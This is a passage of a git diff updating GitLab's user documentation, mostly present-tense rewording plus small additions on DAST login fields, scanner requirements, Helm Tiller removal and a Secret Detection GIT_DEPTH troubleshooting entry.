results. +1. Hit the "Return" key. + +## Date range + +The date range is set to the past 12 months by default. You can modify the date range by changing the "From" and/or "To" values that appear alongside the filter bar. After changing either value, the data displayed on the page will update automatically. + +## Tip: Bookmark preferred settings + +You can bookmark preferred filters and date ranges. After you have applied a change to the +filter bar or the date range, you'll see that information in the URL. You can create a +bookmark for those preferred settings in your browser. ## Permissions diff --git a/doc/user/analytics/productivity_analytics.md b/doc/user/analytics/productivity_analytics.md index da3fe00a901..1aaf50a7a46 100644 --- a/doc/user/analytics/productivity_analytics.md +++ b/doc/user/analytics/productivity_analytics.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/user/analytics/repository_analytics.md b/doc/user/analytics/repository_analytics.md index 3fc5478d466..0bc65f3cfb3 100644 --- a/doc/user/analytics/repository_analytics.md +++ b/doc/user/analytics/repository_analytics.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md index 244e37ba3ab..57f706fc775 100644 --- a/doc/user/analytics/value_stream_analytics.md +++ b/doc/user/analytics/value_stream_analytics.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/user/application_security/compliance_dashboard/index.md b/doc/user/application_security/compliance_dashboard/index.md index d9af9d66c36..383d2bf2df7 100644 --- a/doc/user/application_security/compliance_dashboard/index.md +++ b/doc/user/application_security/compliance_dashboard/index.md @@ -3,3 +3,6 @@ redirect_to: '../../compliance/compliance_dashboard/index.md' --- This document was moved to [another location](../../compliance/compliance_dashboard/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index eef15a9c424..bed46dcd1c7 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -43,6 +43,7 @@ To enable container scanning in your pipeline, you need the following: or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. - Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the shared runners on GitLab.com, then this is already the case. +- An image matching [Clair's list of supported distributions](https://quay.github.io/claircore/). - [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) your Docker image to your project's container registry. The name of the Docker image should use the following [predefined environment variables](../../../ci/variables/predefined_variables.md): diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md index 2f1ed2faf90..740856f84c9 100644 --- a/doc/user/application_security/dast/index.md +++ b/doc/user/application_security/dast/index.md @@ -161,8 +161,9 @@ headers whose values you want masked. For details on how to mask headers, see It's also possible to authenticate the user before performing the DAST checks. -**Important:** It is highly recommended that you configure the scanner to authenticate to the application, -or it will not be able to check most of the application for security risks, as most +NOTE: **Note:** +We highly recommended that you configure the scanner to authenticate to the application, +otherwise it cannot check most of the application for security risks, as most of your application is likely not accessible without authentication. It is also recommended that you periodically confirm the scanner's authentication is still working as this tends to break over time due to authentication changes to the application. @@ -183,6 +184,8 @@ variables: DAST_AUTH_URL: https://example.com/sign-in DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form + DAST_SUBMIT_FIELD: login # the `id` or `name` of the element that when clicked will submit the login form or the password form of a multi-page login process + DAST_FIRST_SUBMIT_FIELD: next # the `id` or `name` of the element that when clicked will submit the username form of a multi-page login process DAST_AUTH_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between ``` @@ -486,8 +489,8 @@ variables: When using `DAST_PATHS` and `DAST_PATHS_FILE`, note the following: -- `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either will use `DAST_WEBSITE` to build the URLs to scan -- Spidering is disabed when `DAST_PATHS` or `DAST_PATHS_FILE` are defined +- `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either use `DAST_WEBSITE` to build the URLs to scan +- Spidering is disabled when `DAST_PATHS` or `DAST_PATHS_FILE` are defined - `DAST_PATHS_FILE` and `DAST_PATHS` can not be used together - The `DAST_PATHS` environment variable has a limit of about 130kb. If you have a list or paths greater than this, use `DAST_PATHS_FILE`. @@ -529,7 +532,7 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia | `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. | | `DAST_WEBSITE` | URL | The URL of the website to scan. `DAST_API_SPECIFICATION` must be specified if this is omitted. | | `DAST_API_SPECIFICATION` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | -| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` will be reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. | +| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. | | `DAST_AUTH_URL` | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. | | `DAST_USERNAME` | string | The username to authenticate to in the website. | | `DAST_PASSWORD` | string | The password to authenticate to in the website. | @@ -551,7 +554,9 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia | `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. | -| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be within `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | +| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be in `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | +| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | +| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | | `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` | @@ -720,7 +725,7 @@ To delete an existing site profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. 1. Click **Manage** in the **DAST Profiles** row. -1. Click **{remove}** in the row of the profile to delete. +1. Click **{remove}** (Delete profile) in the row of the profile to delete. ## Scanner profile @@ -762,7 +767,7 @@ To delete a scanner profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. 1. Click **Manage** in the **DAST Profiles** row. -1. Click **{remove}** in the scanner profile's row. +1. Click **{remove}** (Delete profile) in the scanner profile's row. ## On-demand scans @@ -821,8 +826,8 @@ sample reports can be found in the There are two formats of data in the JSON report that are used side by side: -- The proprietary ZAP format that will be eventually deprecated. -- A common format that will be the default in the future. +- The proprietary ZAP format, which is planned to be deprecated. +- A common format that is planned to the default in the future. ### Other formats diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md index ddd059707d4..67a3569d7e6 100644 --- a/doc/user/application_security/dependency_list/index.md +++ b/doc/user/application_security/dependency_list/index.md @@ -55,13 +55,14 @@ dependencies, but the UI only shows one of the shortest paths. Dependency Paths are supported for the following package managers: - [NuGet](https://www.nuget.org/) +- [Yarn 1.x](https://classic.yarnpkg.com/lang/en/) ## Licenses > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10536) in GitLab Ultimate 12.3. If the [License Compliance](../../compliance/license_compliance/index.md) CI job is configured, -the [discovered licenses](../../compliance/license_compliance/index.md#supported-languages-and-package-managers) will be displayed on this page. +the [discovered licenses](../../compliance/license_compliance/index.md#supported-languages-and-package-managers) are displayed on this page. ## Downloading the Dependency List diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index 1b164c9cecd..f95536a1351 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -356,10 +356,10 @@ Here are the requirements for using dependency scanning in an offline environmen - GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). - Docker Container Registry with locally available copies of dependency scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images. -- If you have a limited access environment you will need to allow access, such as using a proxy, to the advisory database: `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git`. +- If you have a limited access environment you need to allow access, such as using a proxy, to the advisory database: `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git`. If you are unable to permit access to `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` you must host an offline copy of this `git` repository and set the `GEMNASIUM_DB_REMOTE_URL` variable to the URL of this repository. For more information on configuration variables, see [Dependency Scanning](#configuring-dependency-scanning). - This advisory database is constantly being updated, so you will need to periodically sync your local copy with GitLab's. + This advisory database is constantly being updated, so you must periodically sync your local copy with GitLab's. - _Only if scanning Ruby projects_: Host an offline Git copy of the [advisory database](https://github.com/rubysec/ruby-advisory-db). - _Only if scanning npm/yarn projects_: Host an offline copy of the [retire.js](https://github.com/RetireJS/retire.js/) [node](https://github.com/RetireJS/retire.js/blob/master/repository/npmrepository.json) and [js](https://github.com/RetireJS/retire.js/blob/master/repository/jsrepository.json) advisory databases. diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index 30852d1bbcd..eccdd195b00 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: secure +group: secure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: reference, howto --- @@ -92,7 +92,7 @@ rules: ## Security Scanning with Auto DevOps -When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools will be configured using default settings. +When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools are configured using default settings. - [Auto SAST](../../topics/autodevops/stages.md#auto-sast) - [Auto Secret Detection](../../topics/autodevops/stages.md#auto-secret-detection) @@ -225,11 +225,11 @@ vulnerability as you learn more over time. > Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. You can dismiss multiple vulnerabilities at once, providing an optional reason. -Selecting the checkboxes on the side of each vulnerability in the list will select that individual vulnerability. +Selecting the checkboxes on the side of each vulnerability in the list selects that individual vulnerability. Alternatively, you can select all the vulnerabilities in the list by selecting the checkbox in the table header. -Deselecting the checkbox in the header will deselect all the vulnerabilities in the list. +Deselecting the checkbox in the header deselects all the vulnerabilities in the list. Once you have selected some vulnerabilities, a menu appears at the top of the table that allows you to select a dismissal reason. -Pressing the "Dismiss Selected" button will dismiss all the selected vulnerabilities at once, with the reason you chose. +Pressing the "Dismiss Selected" button dismisses all the selected vulnerabilities at once, with the reason you chose.  diff --git a/doc/user/application_security/license_compliance/index.md b/doc/user/application_security/license_compliance/index.md index ed81eb8ca10..4c598d851a9 100644 --- a/doc/user/application_security/license_compliance/index.md +++ b/doc/user/application_security/license_compliance/index.md @@ -3,3 +3,6 @@ redirect_to: '../../compliance/license_compliance/index.md' --- This document was moved to [another location](../../compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/license_management/index.md b/doc/user/application_security/license_management/index.md index df44041600b..bd67fca529f 100644 --- a/doc/user/application_security/license_management/index.md +++ b/doc/user/application_security/license_management/index.md @@ -3,3 +3,6 @@ redirect_to: ../../compliance/license_compliance/index.md --- This document was moved to [another location](../../compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md index 35582aa20ed..78d13baaca5 100644 --- a/doc/user/application_security/offline_deployments/index.md +++ b/doc/user/application_security/offline_deployments/index.md @@ -34,7 +34,7 @@ must come in through physical media (USB drive, hard drive, writeable DVD, etc.) ## Overview -GitLab scanners generally will connect to the internet to download the +GitLab scanners usually connect to the internet to download the latest sets of signatures, rules, and patches. A few extra steps are necessary to configure the tools to function properly by using resources available on your local network. @@ -73,7 +73,7 @@ hosting the latest versions of that dependency or image. ### Scanner signature and rule updates -When connected to the internet, some scanners will reference public databases +When connected to the internet, some scanners reference public databases for the latest sets of signatures and rules to check against. Without connectivity, this is not possible. Depending on the scanner, you must therefore disable these automatic update checks and either use the databases that they came @@ -131,7 +131,7 @@ a bastion, and used only for this specific project. #### Scheduling the updates -By default, this project's pipeline will run only once, when the `.gitlab-ci.yml` is added to the +By default, this project's pipeline runs only once, when the `.gitlab-ci.yml` is added to the repo. To update the GitLab security scanners and signatures, it's necessary to run this pipeline regularly. GitLab provides a way to [schedule pipelines](../../../ci/pipelines/schedules.md). For example, you can set this up to download and store the Docker images every week. @@ -139,7 +139,7 @@ example, you can set this up to download and store the Docker images every week. Some images can be updated more frequently than others. For example, the [vulnerability database](https://hub.docker.com/r/arminc/clair-db/tags) for Container Scanning is updated daily. To update this single image, create a new Scheduled Pipeline that runs daily and set `SECURE_BINARIES_ANALYZERS` to `clair-vulnerabilities-db`. Only -this job will be triggered, and the image will be updated daily and made available in the project +this job is triggered, and the image is updated daily and made available in the project registry. #### Using the secure bundle created diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index 49e194a9319..929035e92d3 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -59,7 +59,7 @@ is **not** `19.03.0`. See [troubleshooting information](#error-response-from-dae ## Supported languages and frameworks -GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we will automatically run the appropriate SAST analyzers. +GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we automatically run the appropriate SAST analyzers. You can also [view our language roadmap](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) and [request other language support by opening an issue](https://gitlab.com/groups/gitlab-org/-/epics/297). @@ -336,7 +336,7 @@ a `before_script` execution to prepare your scan job. To pass your project's dependencies as artifacts, the dependencies must be included in the project's working directory and specified using the `artifacts:path` configuration. If all dependencies are present, the `COMPILE=false` variable can be provided to the -analyzer and compilation will be skipped: +analyzer and compilation is skipped: ```yaml image: maven:3.6-jdk-8-alpine @@ -410,7 +410,7 @@ Some analyzers make it possible to filter out vulnerabilities under a given thre | Environment variable | Default value | Description | |-------------------------------|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories will also match patterns. | +| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories also match patterns. | | `SEARCH_MAX_DEPTH` | 4 | Maximum number of directories traversed when searching for source code files. | | `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'` | | `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. | @@ -424,7 +424,7 @@ Some analyzers can be customized with environment variables. | Environment variable | Analyzer | Description | |---------------------------------------|----------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `SCAN_KUBERNETES_MANIFESTS` | Kubesec | Set to `"true"` to scan Kubernetes manifests. | -| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` will scan. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. | +| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` scans. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. | | `KUBESEC_HELM_OPTIONS` | Kubesec | Additional arguments for the `helm` executable. | | `COMPILE` | SpotBugs | Set to `false` to disable project compilation and dependency fetching. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195252) in GitLab 13.1. | | `ANT_HOME` | SpotBugs | The `ANT_HOME` environment variable. | @@ -459,7 +459,7 @@ analyzer containers: `DOCKER_`, `CI`, `GITLAB_`, `FF_`, `HOME`, `PWD`, `OLDPWD`, Receive early access to experimental features. -Currently, this will enable scanning of iOS and Android apps via the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/). +Currently, this enables scanning of iOS and Android apps via the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/). To enable experimental features, add the following to your `.gitlab-ci.yml` file: diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md index 5eba0fa44ba..153753ea0c0 100644 --- a/doc/user/application_security/secret_detection/index.md +++ b/doc/user/application_security/secret_detection/index.md @@ -283,3 +283,25 @@ Support for custom certificate authorities was introduced in the following versi ### Getting warning message `gl-secret-detection-report.json: no matching files` For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload). + +### Error: `Couldn't run the gitleaks command: exit status 2` + +This error is usually caused by the `GIT_DEPTH` value of 50 that is set for all [projects by default](../../../ci/pipelines/settings.md#git-shallow-clone). + +For example, if a pipeline is triggered from a Merge Request containing 60 commits while the `GIT_DEPTH` is set to 50, the Secret Detection job will fail as the clone will not have been deep enough to contain all of the relevant commits. + +You can confirm this to be the cause of the error by implementing a [logging level](../../application_security/secret_detection/index.md#logging-level) of `debug`. Once implemented, the logs should look similar to the following example, wherein an "object not found" error can be seen: + +```plaintext +ERRO[2020-11-18T18:05:52Z] object not found +[ERRO] [secrets] [2020-11-18T18:05:52Z] ▶ Couldn't run the gitleaks command: exit status 2 +[ERRO] [secrets] [2020-11-18T18:05:52Z] ▶ Gitleaks analysis failed: exit status 2 +``` + +If this is the case, we can resolve the issue by setting the [`GIT_DEPTH` variable](../../../ci/runners/README.md#shallow-cloning) to a higher value. In order to apply this only to the Secret Detection job, the following can be added to your `.gitlab-ci.yml`: + +```yaml +secret_detection: + variables: + GIT_DEPTH: 100 +``` diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md index 9f402cea9dc..1ffa111c2af 100644 --- a/doc/user/application_security/security_dashboard/index.md +++ b/doc/user/application_security/security_dashboard/index.md @@ -87,7 +87,7 @@ display all detected and confirmed vulnerabilities. The Vulnerability Report first displays the time at which the last pipeline completed on the project's default branch. There's also a link to view this in more detail. In the case of any pipeline failures, -you will see the number of failures clearly indicated. The failure notification takes you directly to +the number of failures is indicated. The failure notification takes you directly to the **Failed jobs** tab of the pipeline page. The Vulnerability Report next displays the total number of vulnerabilities by severity (for example, @@ -142,7 +142,7 @@ Next to the timeline chart is a list of projects, grouped and sorted by the seve | B | One or more "low" | | A | Zero vulnerabilities | -Projects with no vulnerability tests configured will not appear in the list. Additionally, dismissed +Projects with no vulnerability tests configured don't appear in the list. Additionally, dismissed vulnerabilities are excluded. Navigate to the group's [vulnerability report](#vulnerability-report-1) to view the vulnerabilities found. @@ -225,7 +225,7 @@ are discovered. To ensure the information on the Security Dashboard is regularly updated, [configure a scheduled pipeline](../../../ci/pipelines/schedules.md) to run a -daily security scan. This will update the information displayed on the Security +daily security scan. This updates the information displayed on the Security Dashboard regardless of how often the default branch is updated. That way, reports are created even if no code change happens. diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index 95bb1ff1a67..09e5b0d9c55 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -37,7 +37,7 @@ the following values: |-----------|------------------------------------------------------------------------------------------------------------------| | Detected | The default state for a newly discovered vulnerability | | Confirmed | A user has seen this vulnerability and confirmed it to be accurate | -| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise will not be resolved | +| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved | | Resolved | The vulnerability has been fixed and is no longer valid | A timeline shows you when the vulnerability status has changed diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md index 67a53fa773f..dbfc5bce578 100644 --- a/doc/user/clusters/applications.md +++ b/doc/user/clusters/applications.md @@ -65,6 +65,7 @@ supported by GitLab before installing any of the applications. > - Introduced in GitLab 11.6 for group-level clusters. > - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later. > - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later. +> - [Offers legacy Tiller removal](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47457) in GitLab 13.7 and later. [Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is used to install the GitLab-managed apps. GitLab runs each `helm` command @@ -72,12 +73,12 @@ in a pod within the `gitlab-managed-apps` namespace inside the cluster. - For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage applications. -- For clusters created on versions of GitLab prior to 13.6, GitLab uses - Helm 2 with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. - Prior to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), - GitLab used an in-cluster Tiller server in the `gitlab-managed-apps` - namespace. You can safely remove this server after upgrading to GitLab 13.2 - or newer. +- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2 + with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior + to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), GitLab + used an in-cluster Tiller server in the `gitlab-managed-apps` namespace. You + can safely uninstall the server from GitLab's application page if you have + previously installed it. This doesn't affect your other applications. GitLab's Helm integration does not support installing applications behind a proxy, but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy) @@ -232,7 +233,7 @@ rules that allow external access to your deployed applications. ``` If EKS is used, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/) - is also created, which will incur additional AWS costs. + is also created, which incurs additional AWS costs. - For Istio/Knative, the command is different: @@ -257,7 +258,7 @@ a wildcard DNS CNAME record for the desired domain name. For example, By default, an ephemeral external IP address is associated to the cluster's load balancer. If you associate the ephemeral IP with your DNS and the IP changes, -your apps won't be reachable, and you'd have to change the DNS record again. +your apps aren't reachable, and you'd have to change the DNS record again. To avoid that, change it into a static reserved IP. Read how to [promote an ephemeral external IP address in GKE](https://cloud.google.com/compute/docs/ip-addresses/reserve-static-external-ip-address#promote_ephemeral_ip). @@ -438,7 +439,7 @@ The [`knative/knative`](https://storage.googleapis.com/triggermesh-charts) chart is used to install this application. During installation, you must enter a wildcard domain where your applications -will be exposed. Configure your DNS server to use the external IP address for that +are exposed. Configure your DNS server to use the external IP address for that domain. Applications created and installed are accessible as `<program_name>.<kubernetes_namespace>.<domain_name>`, which requires your Kubernetes cluster to have @@ -664,14 +665,15 @@ applications you have configured. In case of pipeline failure, the output of the [Helm Tiller](https://v2.helm.sh/docs/install/#running-tiller-locally) binary is saved as a [CI job artifact](../../ci/pipelines/job_artifacts.md). +#### Usage in GitLab versions 13.5 and below + For GitLab versions 13.5 and below, the Ingress, Fluentd, Prometheus, -and Sentry apps are fetched from the central Helm [stable -repository](https://kubernetes-charts.storage.googleapis.com/), which -will be [deleted](https://github.com/helm/charts#deprecation-timeline) -on November 13, 2020. This will cause the installation CI/CD pipeline to +and Sentry apps are fetched from the central Helm +[stable repository](https://kubernetes-charts.storage.googleapis.com/), which +[was deleted](https://github.com/helm/charts#deprecation-timeline) +on November 13, 2020. This causes the installation CI/CD pipeline to fail. Upgrade to GitLab 13.6, or alternatively, you can -use the following `.gitlab-ci.yml`, which has been tested on GitLab -13.5: +use the following `.gitlab-ci.yml`, which has been tested on GitLab 13.5: ```yaml include: diff --git a/doc/user/clusters/cost_management.md b/doc/user/clusters/cost_management.md index f13be15c6bc..d6d39e59870 100644 --- a/doc/user/clusters/cost_management.md +++ b/doc/user/clusters/cost_management.md @@ -58,7 +58,7 @@ file or creating similar dashboard configuration files. To learn more, read abou #### Available metrics -Metrics contain both instance and node labels. The instance label will be deprecated in a future version. +Metrics contain both instance and node labels. The instance label is scheduled for deprecation in a future version. - `node_cpu_hourly_cost` - Hourly cost per vCPU on this node. - `node_gpu_hourly_cost` - Hourly cost per GPU on this node. diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md index f7241444a6b..7b174fadceb 100644 --- a/doc/user/clusters/management_project.md +++ b/doc/user/clusters/management_project.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Cluster management project (alpha) +# Cluster management project CAUTION: **Warning:** This is an _alpha_ feature, and it is subject to change at any time without @@ -25,8 +25,8 @@ This can be useful for: ## Permissions -Only the management project will receive `cluster-admin` privileges. All -other projects will continue to receive [namespace scoped `edit` level privileges](../project/clusters/add_remove_clusters.md#rbac-cluster-resources). +Only the management project receives `cluster-admin` privileges. All +other projects continue to receive [namespace scoped `edit` level privileges](../project/clusters/add_remove_clusters.md#rbac-cluster-resources). Management projects are restricted to the following: @@ -92,7 +92,7 @@ to a management project: | Production | `production` | The following environments set in -[`.gitlab-ci.yml`](../../ci/yaml/README.md) will deploy to the +[`.gitlab-ci.yml`](../../ci/yaml/README.md) deploy to the Development, Staging, and Production cluster respectively. ```yaml diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index 65c009f947f..9c3b51a59a0 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -21,7 +21,7 @@ that is provided by [Auto DevOps](../../../topics/autodevops/index.md). GitLab checks the License Compliance report, compares the licenses between the source and target branches, and shows the information right on the merge request. -Denied licenses will be clearly visible with an `x` red icon next to them +Denied licenses are notated with an `x` red icon next to them as well as new licenses which need a decision from you. In addition, you can [manually allow or deny](#policies) licenses in your project's license compliance policy section. If GitLab detects a denied license @@ -30,10 +30,10 @@ to remove the license. NOTE: **Note:** If the license compliance report doesn't have anything to compare to, no information -will be displayed in the merge request area. That is the case when you add the +is displayed in the merge request area. That is the case when you add the `license_scanning` job in your `.gitlab-ci.yml` for the first time. -Consecutive merge requests will have something to compare to and the license -compliance report will be shown properly. +Consecutive merge requests have something to compare to and the license +compliance report is shown properly.  @@ -114,7 +114,7 @@ Before GitLab 12.8, the `license_scanning` job was named `license_management`. G the `license_management` job, so you must migrate to the `license_scanning` job and use the new `License-Scanning.gitlab-ci.yml` template. -The results will be saved as a +The results are saved as a [License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning) that you can later download and analyze. Due to implementation limitations, we always take the latest License Compliance artifact available. Behind the scenes, the @@ -160,7 +160,7 @@ in the project automated setup, like the download and installation of a certific For that, a `LICENSE_MANAGEMENT_SETUP_CMD` environment variable can be passed to the container, with the required commands to run before the license detection. -If present, this variable will override the setup step necessary to install all the packages +If present, this variable overrides the setup step necessary to install all the packages of your application (e.g.: for a 